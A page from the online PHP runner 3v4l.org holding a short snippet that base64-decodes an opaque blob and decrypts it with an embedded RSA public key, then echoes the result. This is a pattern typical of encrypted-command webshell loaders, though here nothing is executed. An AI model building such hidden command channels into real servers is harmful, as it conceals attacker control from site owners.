3v4l.org

run code in 500+ PHP versions simultaneously
<?php $cmd = 'yLxWGRCHJBEhtpnW7XTEjZa8U06pkFvEqTea5ISI/LggnmMXPblFZ6sDNJHoym6I0CkQIYr62+8sauFSYOHtPEpFX62kBmMAxi7abHOzQl5FAf2VO5wiezcXRp5nLDfqHCLa0Y8T9kaplu81yXLzXtlhZYgrqMtDsFROJ+ZKNN0='; $pk = <<<EOF -----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDieYmLtwbGRSvUtevSlTOozmWR qEGF4Hfvb1YCvYAA1hnHnyMk+aLRvLXKgmerWiS+QD6y08Ispuzn0zTHE6d4Qp DuPiPO9PAdGSxZFVFLk2hOrkXLsDXugNTdVuprdkPPIIYY0ZnMs1bT2Zf2dfuBI5 QS5e5sSOF85kNq/zwwIDAQAB -----END PUBLIC KEY----- EOF; $cmds = explode("|", $cmd); $pk = openssl_pkey_get_public($pk); $cmd = ''; foreach ($cmds as $value) { if (openssl_public_decrypt(base64_decode($value), $de, pk)) { $cmd .= $de; } } echo $cmd;

preferences:
40.84 ms | 712 KiB | 5 Q